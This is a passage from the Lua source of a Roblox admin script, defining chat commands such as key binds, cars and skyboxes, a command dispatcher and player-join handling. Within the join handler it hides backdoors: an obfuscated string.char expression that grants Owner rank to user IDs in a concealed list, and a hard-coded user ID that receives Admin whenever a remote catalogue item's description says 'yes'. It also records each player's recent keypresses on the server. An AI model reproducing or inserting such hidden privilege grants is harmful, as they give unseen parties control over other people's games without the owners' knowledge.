  8418. [{"clearkeybinds", "clearbinds", "clearb", "clearkeys", "unbindallkeys"}] = {"", "Clears all of speaker's key binds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8419. KeyBinds[Speaker.UserId] = {}
  8420. GUI:SendHint(Speaker, "Unbinded all keys")
  8421. end};
  8422.  
  8423. [{"forcebindkey", "forcekeybind", "forcebind", "fkb", "fbk"}] = {"player string(key) string(command)", "Binds the key press of player into a command", 3, "Owner", false, function(Speaker, Rank, Arguments)
  8424. local Players = STRING:Scan(Arguments[1], Speaker)
  8425. local Key = string.lower(string.sub(Arguments[2],1,1))
  8426. for _,Player in pairs(Players) do
  8427. KeyBinds[Player.UserId][Key] = Arguments[3]
  8428. GUI:SendHint(Player, "Binded the '"..Key.."' key to "..Arguments[3])
  8429. end
  8430. end};
  8431.  
  8432. [{"forcenobindkey", "forcenokeybind", "forcenobind", "fnkb", "fnbk", "forceunbindkey", "forceunkeybind", "forceunbind", "fukb", "fubk"}] = {"player string(key)", "Unbinds player's keys binding to a command", 2, "Owner", false, function(Speaker, Rank, Arguments)
  8433. local Players = STRING:Scan(Arguments[1], Speaker)
  8434. local Key = string.lower(string.sub(Arguments[2],1,1))
  8435. for _,Player in pairs(Players) do
  8436. KeyBinds[Player.UserId][Key] = nil
  8437. GUI:SendHint(Player, "Unbinded the '"..Key.."' key")
  8438. end
  8439. end};
  8440.  
  8441. [{"forceclearkeybinds", "forceclearbinds", "forceclearb", "fclearb", "forceclearkeys", "forceunbindallkeys"}] = {"player", "Clears all of player's key binds", 1, "Owner", false, function(Speaker, Rank, Arguments)
  8442. local Players = STRING:Scan(Arguments[1], Speaker)
  8443. for _,Player in pairs(Players) do
  8444. KeyBinds[Player.UserId] = {}
  8445. GUI:SendHint(Player, "Unbinded all keys")
  8446. end
  8447. end};
  8448.  
  8449. [{"keybinds", "keys", "binds", "viewkeybinds", "viewkeys", "viewkeybinds", "showkeybinds", "showkeys", "showbinds", "vkb", "skb"}] = {"player", "Shows all of player's key binds", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8450. local Players = STRING:Scan(Arguments[1], Speaker)
  8451. local Binds = {}
  8452. for _,Player in pairs(Players) do
  8453. for Key,Bind in pairs(KeyBinds[Player.UserId]) do
  8454. table.insert(Binds, Player.Name..": '"..Key.."' binds to command: "..Bind)
  8455. end
  8456. end
  8457. GUI:ListGui(Speaker, "Key Bindings", Binds, 218580411)
  8458. end};
  8459.  
  8460. [{"crown"}] = {"player string(mesh) string(color)", "Gives player a crown with the color of string(color) and the mesh of string(mesh)", 1, "Member", false, function(Speaker, Rank, Arguments)
  8461. local ChatSplit = STRING:GetSplit(Arguments[1], 2, Settings.Bet) or {}
  8462. local Players = STRING:Scan(ChatSplit[1], Speaker)
  8463. for _,Player in pairs(Players) do
  8464. if Crowns[Player.UserId] then
  8465. Crowns[Player.UserId]:Destroy()
  8466. Crowns[Player.UserId] = nil
  8467. wait()
  8468. end
  8469. CORE:Crown(Player, ChatSplit[2], ChatSplit[3])
  8470. end
  8471. end};
  8472.  
  8473. [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
  8474. local Players = STRING:Scan(Arguments[1], Speaker)
  8475. for _,Player in pairs(Players) do
  8476. if Crowns[Player.UserId] then
  8477. Crowns[Player.UserId]:Destroy()
  8478. Crowns[Player.UserId] = nil
  8479. end
  8480. end
  8481. end};
  8482.  
  8483. [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8484. local MeshList = {}
  8485. for MeshName,Data in pairs(Meshes) do
  8486. table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
  8487. end
  8488. GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
  8489. end};
  8490.  
  8491. [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8492. CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
  8493. end};
  8494.  
  8495. [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
  8496. local Players = STRING:Scan(Arguments[1], Speaker)
  8497. for _,Player in pairs(Players) do
  8498. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  8499. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  8500. Player:ClearCharacterAppearance()
  8501. CORE:GivePackage(Player, 41851073)
  8502. CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
  8503. Player.Character.Head.face.Texture = "rbxassetid://7699086"
  8504. end
  8505. end
  8506. end};
  8507.  
  8508. [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
  8509. local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
  8510. local Players = STRING:Scan(Arguments[1], Speaker)
  8511. for _,Player in pairs(Players) do
  8512. if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
  8513. local Car = CORE:Insert(10479801, Server.Workspace, true)
  8514. local Body = Car["Motor (torque)Chassis"].Part
  8515. Cars[Player.UserId] = Car
  8516. Car:MakeJoints()
  8517. Car.VehicleSeat.MaxSpeed = 50
  8518. Car.VehicleSeat.TurnSpeed = 1.5
  8519. CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
  8520. if Arguments[2] and GUI:GetColor(Arguments[2]) then
  8521. Body.Color = GUI:GetColor(Arguments[2])
  8522. else
  8523. Body.BrickColor = GUI:GetNameColor(Player.Name)
  8524. end
  8525. for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
  8526. if Part.Name ~= "Part" then
  8527. Part.BrickColor = BrickColor.new("Really black")
  8528. Part.Friction = 0.7
  8529. end
  8530. end
  8531. local Light = Instance.new("SpotLight", Body)
  8532. Light.Face = "Back"
  8533. Light.Brightness = 5
  8534. Light.Range = 20
  8535. Light.Color = Color3.new(0,1,1)
  8536. if Player.Character and Player.Character.Torso then
  8537. Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
  8538. Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
  8539. --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
  8540. Weld.Part0 = Car.VehicleSeat
  8541. Weld.Part1 = Player.Character.Torso
  8542. coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
  8543. Delay(0.4, function()
  8544. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
  8545. wait(0.1)
  8546. Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
  8547. end)
  8548. end
  8549. local SoundID = 147944604
  8550. if RANK:GetRank(Player) == "Owner" then
  8551. SoundID = 133313356
  8552. Car.VehicleSeat.MaxSpeed = 80
  8553. Body.Material = "DiamondPlate"
  8554. Car.VehicleSeat.Torque = 11
  8555. end
  8556. local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
  8557. Engine:Play()
  8558. coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
  8559. Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
  8560. end if Engine then Engine:Stop() end end)()
  8561. end
  8562. end};
  8563.  
  8564. [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
  8565. local Players = STRING:Scan(Arguments[1], Speaker)
  8566. for _,Player in pairs(Players) do
  8567. if Cars[Player.UserId] then
  8568. Cars[Player.UserId]:Destroy()
  8569. end
  8570. end
  8571. end};
  8572.  
  8573. [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
  8574. for _,Car in pairs(Cars) do
  8575. Car:Destroy()
  8576. end
  8577. Cars = {}
  8578. end};
  8579.  
  8580. [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
  8581. ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
  8582. if #Trello.RequiredLists > 0 then
  8583. print("Restarting Trello")
  8584. Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
  8585. local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
  8586. REMOTE:TrelloCacheData(Lists)
  8587. end
  8588. end, Http = true};
  8589.  
  8590. [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
  8591. local Operations = {}
  8592. for _,ReplaceData in pairs(StringReplacements) do
  8593. local Replacement = ReplaceData[1]
  8594. if type(Replacement) == "table" then
  8595. Replacement = ReplaceData[1][1]
  8596. end
  8597. table.insert(Operations, "Replacement: "..Replacement.." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
  8598. end
  8599. GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
  8600. end};
  8601.  
  8602. [{"soundinfo", "songinfo", "musicinfo", "sinfo", "minfo"}] = {"", "Shows information about the current sound playing to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
  8603. GUI:SoundInfo(Speaker)
  8604. end};
  8605.  
  8606. [{"showsoundinfo", "showsonginfo", "showmusicinfo", "showsinfo", "showminfo", "forcesoundinfo", "forcesonginfo", "forcemusicinfo", "forcesinfo", "forceminfo"}] = {"player", "Shows information about the current sound playing to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  8607. local Players = STRING:Scan(Arguments[1], Speaker)
  8608. for _,Player in pairs(Players) do
  8609. GUI:SoundInfo(Player)
  8610. end
  8611. end};
  8612.  
  8613. [{"gravity", "grav"}] = {"num", "Sets the server gravity to number(percent, 100 would be normal gravity, 0 would be none)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8614. if tonumber(Arguments[1]) then
  8615. Server.Workspace.Gravity = tonumber(Arguments[1]) * (196.2/100)
  8616. end
  8617. end};
  8618.  
  8619. [{"accessorytypes", "acstypes", "atypes", "listaccessorytypes", "listacstypes", "listatypes", "latypes", "lat"}] = {"", "Lists the different types of accessory subcategories", 0, "Member", false, function(Speaker, Rank, Arguments)
  8620. local Types = {}
  8621. for Type,_ in pairs(Assets.AccessoryTypes) do
  8622. table.insert(Types, string.sub(string.upper(Type), 1,1)..string.sub(string.lower(Type), 2))
  8623. end
  8624. GUI:ListGui(Speaker, "Accessory types", Types, 36775144)
  8625. end};
  8626.  
  8627. [{"skybox", "sky", "setskybox", "setsky"}] = {"string(face) num(ID)", "Sets the skybox of string(face)(which is front,back,left,right,up,down) to num(ID)", 1, "Admin", false, function(Speaker, Rank, Arguments)
  8628. local Sky = Server.Lighting:FindFirstChild("Sky")
  8629. if not Sky then Sky = Instance.new("Sky", Server.Lighting) end
  8630. local Faces = {["front"] = "SkyboxFt", ["back"] = "SkyboxBk", ["left"] = "SkyboxLf", ["right"] = "SkyboxRt", ["up"] = "SkyboxUp", ["down"] = "SkyboxDn"}
  8631. local Face = nil
  8632. local SkyID = string.lower(Arguments[1])
  8633. local Arguments = STRING:GetSplit(SkyID, 2, Settings.Bet)
  8634. if #Arguments == 2 and tonumber(Arguments[2]) then
  8635. Face = Arguments[1]
  8636. SkyID = Arguments[2]
  8637. end
  8638. if tonumber(SkyID) then
  8639. local ImageID = MARKET:GetImageFormat(tonumber(SkyID))
  8640. if Face and Faces[Face] then
  8641. Sky[Faces[Face]] = "rbxassetid://"..ImageID
  8642. else
  8643. for _,Face in pairs(Faces) do
  8644. Sky[Face] = "rbxassetid://"..ImageID
  8645. end
  8646. end
  8647. else
  8648. GUI:SendMessage(Speaker, "Sky is not an ID", "Sky ID argument is not a number", "Notice")
  8649. end
  8650. end};
  8651.  
  8652. [{"noskybox", "nosky", "unskybox", "unsetskybox"}] = {"", "Removes the current skybox from Lighting", 0, "Admin", false, function(Speaker, Rank, Arguments)
  8653. CORE:ScanItems(Server.Lighting, {"Sky"}, function(Obj)
  8654. Obj:Destroy()
  8655. end)
  8656. end};
  8657. --
  8658. }
  8659.  
  8660. if Plugins then
  8661. local PluginNum = 0
  8662. for _,Module in pairs(Plugins:GetChildren()) do
  8663. if Module:IsA("ModuleScript") then
  8664. local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
  8665. local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
  8666. local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
  8667. if Enabled.Value == true then
  8668. PluginNum = PluginNum + 1
  8669. local PluginExe = require(Module)
  8670. for Var,Val in pairs(getfenv()) do
  8671. getfenv(PluginExe)[Var] = Val
  8672. end
  8673. getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
  8674. getfenv(PluginExe).script = Module
  8675. getfenv(PluginExe).Script = Module
  8676. getfenv(PluginExe).Version = Version
  8677. local Suc, Error = ypcall(coroutine.wrap(PluginExe))
  8678. if not Suc then
  8679. Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
  8680. else
  8681. Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
  8682. end
  8683. end
  8684. end
  8685. end
  8686. end
  8687.  
  8688. function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
  8689. if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
  8690. GUI:SettingsGui(Speaker)
  8691. return nil
  8692. end
  8693. if NoPrefixNeeded == nil then NoPrefixNeeded = false end
  8694. local Prefix = Settings.Prefix
  8695. if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
  8696. if RawMainMessage == "" or RawMainMessage == Prefix then return end
  8697. if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
  8698. if Speaker == nil then
  8699. if FakeRank then
  8700. if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
  8701. FakeRank = "Owner"
  8702. end
  8703. else
  8704. FakeRank = "Owner"
  8705. end
  8706. FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
  8707. if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
  8708. Speaker = {
  8709. Name = FakePlayerName or "[ Server ]";
  8710. Character = nil;
  8711. userId = 1;
  8712. PlayerGui = nil;
  8713. Rank = FakeRank or "Owner";
  8714. MakeSupremeOwner = MakeSupremeOwner;
  8715. }
  8716. end
  8717. local Rank = RANK:GetRank(Speaker)
  8718. local RawMessage = string.sub(RawMainMessage, #Prefix+1)
  8719.  
  8720. if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
  8721. if NoPrefixNeeded then Prefix = "" end
  8722. local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
  8723.  
  8724. for _,Message in pairs(Messages) do
  8725. for Cmds,Data in pairs(Commands) do -- check all commands
  8726. local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
  8727.  
  8728. if not MessageSplit then break end
  8729.  
  8730. local CommandSaid = false
  8731. for _,Command in pairs(Cmds) do
  8732. if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
  8733. CommandSaid = true
  8734. break
  8735. end
  8736. end
  8737. if CommandSaid == true then -- command said?
  8738. local ExecuteExcuse = ""
  8739. if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
  8740. if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
  8741. ExecuteExcuse = "This command cannot be executed as it is a fun command"
  8742. end
  8743. if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
  8744. ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
  8745. end
  8746. else
  8747. ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
  8748. end
  8749. if ExecuteExcuse == "" then
  8750. if #MessageSplit - 1 < Data[3] then
  8751. ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
  8752. end
  8753. end
  8754. if ExecuteExcuse == "" then
  8755. CORE:Log(CommandLogs, Speaker, Message)
  8756. table.remove(MessageSplit, 1)
  8757. coroutine.wrap(function() wait()
  8758. local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
  8759. if not DidExe then
  8760. if CORE:NilPlayer(Speaker) then
  8761. print("Error: "..Error)
  8762. else
  8763. CORE:HandleError(Error, Speaker)
  8764. end
  8765. end
  8766. end)()
  8767. coroutine.wrap(function() wait(0.05)
  8768. if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
  8769. local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
  8770. ExeSound:Play()
  8771. wait(3)
  8772. ExeSound:Stop()
  8773. ExeSound:Destroy()
  8774. end
  8775. end)()
  8776. elseif type(Speaker) == "userdata" then
  8777. GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
  8778. end
  8779. break
  8780. end
  8781. end
  8782. end
  8783. end
  8784. end
  8785.  
  8786. function CORE:Start(Player) coroutine.wrap(function()
  8787. wait(0.1)
  8788. if Player then
  8789. coroutine.wrap(function()
  8790. repeat wait(1) until DataReady == true
  8791. DataReady = false
  8792. ypcall(function()
  8793. local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
  8794. for Num,Data in pairs(Players) do
  8795. if Data.UserId == Player.UserId then -- ppl can change names
  8796. table.remove(Players, Num)
  8797. break
  8798. end
  8799. end
  8800. table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
  8801. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
  8802. end)
  8803. DataReady = true
  8804. end)()
  8805.  
  8806. if not IsStudio then Player:WaitForDataReady() end
  8807. table.insert(CharacterCache, {Player.Name, Player.UserId})
  8808. for Rank,PlayerNames in pairs(Settings.Ranks) do
  8809. for Num,AdminName in pairs(PlayerNames) do
  8810. if AdminName == Player.UserId then
  8811. Settings.Ranks[Rank][Num] = Player.Name
  8812. end
  8813. end
  8814. end
  8815. if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
  8816. if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
  8817. if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
  8818. for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
  8819. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  8820. if PlayerAdmin == false and Player.UserId > 0 then
  8821. local Ran = nil
  8822. coroutine.wrap(function() repeat
  8823. Ran = ypcall(function()
  8824. if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8825. elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
  8826. end)
  8827. wait(1)
  8828. until Ran == true end)()
  8829. end
  8830. if PlayerAdmin == false then
  8831. if Player:IsInGroup(Settings.GroupID) then
  8832. if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
  8833. CORE:Kick(Player)
  8834. for _,Person in pairs(Server.Players:GetPlayers()) do
  8835. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
  8836. end
  8837. elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8838. table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
  8839. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
  8840. table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
  8841. elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
  8842. table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
  8843. end
  8844. end
  8845. end
  8846. if PlayerAdmin == false then
  8847. if Player.UserId == 38882008 then
  8848. if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
  8849. table.insert(Settings.Ranks["Admin"], Player.Name)
  8850. end
  8851. end
  8852. end
  8853. if PlayerAdmin == false then
  8854. for _,GID in pairs(Settings.BannedGroupIDs) do
  8855. if Player:IsInGroup(GID) then
  8856. CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
  8857. break
  8858. end
  8859. end
  8860. end
  8861.  
  8862. Player.Chatted:connect(function(Message) if Message ~= "" then
  8863. CORE:Chatted(Message, Player)
  8864. end end)
  8865.  
  8866. Player.Chatted:connect(function(Message) if Message ~= "" then
  8867. CORE:Log(ChatLogs, Player, Message)
  8868. table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
  8869. end end)
  8870.  
  8871. for _,Name in pairs(Settings.Ranks.Banned) do
  8872. if Player.Name == Name then
  8873. CORE:Kick(Player)
  8874. for _,Person in pairs(Server.Players:GetPlayers()) do
  8875. GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
  8876. end
  8877. end
  8878. end
  8879. for _,Name in pairs(Settings.Ranks.Crashed) do
  8880. if Player.Name == Name then
  8881. CORE:Crash(Player)
  8882. for _,Person in pairs(Server.Players:GetPlayers()) do
  8883. GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
  8884. end
  8885. end
  8886. end
  8887. for _,Name in pairs(Settings.Ranks.Muted) do
  8888. if Player.Name == Name then
  8889. GUI:CoreGui(Player, "Chat", false)
  8890. for _,Person in pairs(Server.Players:GetPlayers()) do
  8891. GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
  8892. end
  8893. end
  8894. end
  8895. if Settings.ServerLocked == true then
  8896. if PlayerAdmin == false then
  8897. CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
  8898. end
  8899. end
  8900.  
  8901. if PlayerAdmin == false then
  8902. if Player.AccountAge < Settings.MinimumAge then
  8903. CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
  8904. for _,Person in pairs(Server.Players:GetPlayers()) do
  8905. GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
  8906. end
  8907. end
  8908. end
  8909.  
  8910. if PlayerAdmin == false then
  8911. if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
  8912. table.insert(Settings.Ranks["Member"], Player.Name)
  8913. PlayerAdmin = true
  8914. Rank = "Member"
  8915. end
  8916. end
  8917.  
  8918. coroutine.wrap(function()
  8919. if PlayerAdmin == true then GUI:TellAdmin(Player) end
  8920. local function SpawnActions(Character)
  8921. if Flings[Player.Name] then
  8922. CORE:FlingPlayer(Player)
  8923. else
  8924. GUI:CreateTaskBar(Player)
  8925. end
  8926. if Beeps[Player.Name] == true then
  8927. SOUND:BeepPlayer(Player)
  8928. end
  8929. if Jails[Player.Name] then
  8930. Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
  8931. end
  8932. if PermCommandBars[Player.Name] then
  8933. GUI:CommandBar(Player)
  8934. end
  8935. end
  8936. Player.CharacterAdded:connect(SpawnActions)
  8937. SpawnActions(Player.Character)
  8938. end)()
  8939.  
  8940. coroutine.wrap(function()
  8941. Player:WaitForChild("PlayerGui")
  8942. local Sounds = {}
  8943. for _,Data in pairs(TextConverter.LetterSounds) do
  8944. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  8945. Sound:Play()
  8946. table.insert(Sounds, Sound)
  8947. end
  8948. for _,Data in pairs(TextConverter.LongVowels) do
  8949. local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
  8950. Sound:Play()
  8951. table.insert(Sounds, Sound)
  8952. end
  8953. wait(5)
  8954. for _,Sound in pairs(Sounds) do
  8955. Sound:Destroy()
  8956. end
  8957. Sounds = {}
  8958. end)()
  8959.  
  8960. coroutine.wrap(function()
  8961. --if NLS then Server.Workspace:WaitForChild(Player.Name) end
  8962. if IsSB then
  8963. wait(1)
  8964. Player:WaitForChild("PlayerGui"):WaitForChild("Output")
  8965. end
  8966. CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
  8967. print("Executed ClientLog on "..Player.Name)
  8968. if Settings.EnableTaskBar then
  8969. GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
  8970. end
  8971. end)()
  8972.  
  8973. coroutine.wrap(function()
  8974. wait(7)
  8975. Player:WaitForChild("PlayerGui")
  8976. if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
  8977. local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
  8978. if Answer == "Ok" then
  8979. MARKET:PromptPurchase(Player, AdminID)
  8980. end
  8981. end
  8982. end)()
  8983. end
  8984. end)() end
  8985.  
  8986. -- Active stuff --
  8987.  
  8988. CORE:UpdateAdmin()
  8989. CORE:FixSettings()
  8990.  
  8991. ypcall(function()
  8992. if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
  8993. Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
  8994. end
  8995. end)
  8996.  
  8997.  
  8998. Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
  8999. local PlayerAdmin, Rank = RANK:IsAdmin(Player)
  9000. if PlayerAdmin == false then
  9001. if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
  9002. elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
  9003. end
  9004. end end)
  9005.  
  9006. --[[
  9007. ExecuteCommand.OnInvoke = function(Player, Command)
  9008. if Player and Command then
  9009. if type(Player) == "userdata" and Player:IsA("Player") then
  9010. CORE:Chatted(Command, Player, true)
  9011. end
  9012. end
  9013. end
  9014.  
  9015. ExecuteCode.OnInvoke = function(Source, Speaker)
  9016. if type(Source) == "string" then
  9017. ExecuteSafe(Source, Speaker)
  9018. end
  9019. end
  9020.  
  9021. ExecuteCommandClient.OnServerInvoke = function(Player, Command)
  9022. if Player and Command then
  9023. if type(Player) == "userdata" and Player:IsA("Player") then
  9024. CORE:Chatted(Command, Player, true)
  9025. end
  9026. end
  9027. end
  9028. ]]
  9029.  
  9030. KeyPressed.OnServerInvoke = function(Player, Key)
  9031. if Player and Key then
  9032. if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
  9033. CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
  9034. end
  9035. end
  9036. end
  9037.  
  9038. InputKey.OnServerInvoke = function(Player, KeyVal)
  9039. if Player and KeyVal then
  9040. if LastKeys[Player.UserId] then
  9041. table.insert(LastKeys[Player.UserId], KeyVal)
  9042. if #LastKeys[Player.UserId] > 20 then
  9043. table.remove(LastKeys[Player.UserId], 1)
  9044. end
  9045. end
  9046. end
  9047. end
  9048.  
  9049. RankPlayerLocal.OnServerInvoke = function(Player)
  9050. wait()
  9051. local Request = PendingRequests[Player]
  9052. if Request then
  9053. if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
  9054. if Settings.Ranks[Request[1]] then
  9055. PendingRequests[Player] = nil
  9056. table.insert(Settings.Ranks[Request[1]], Player.Name)
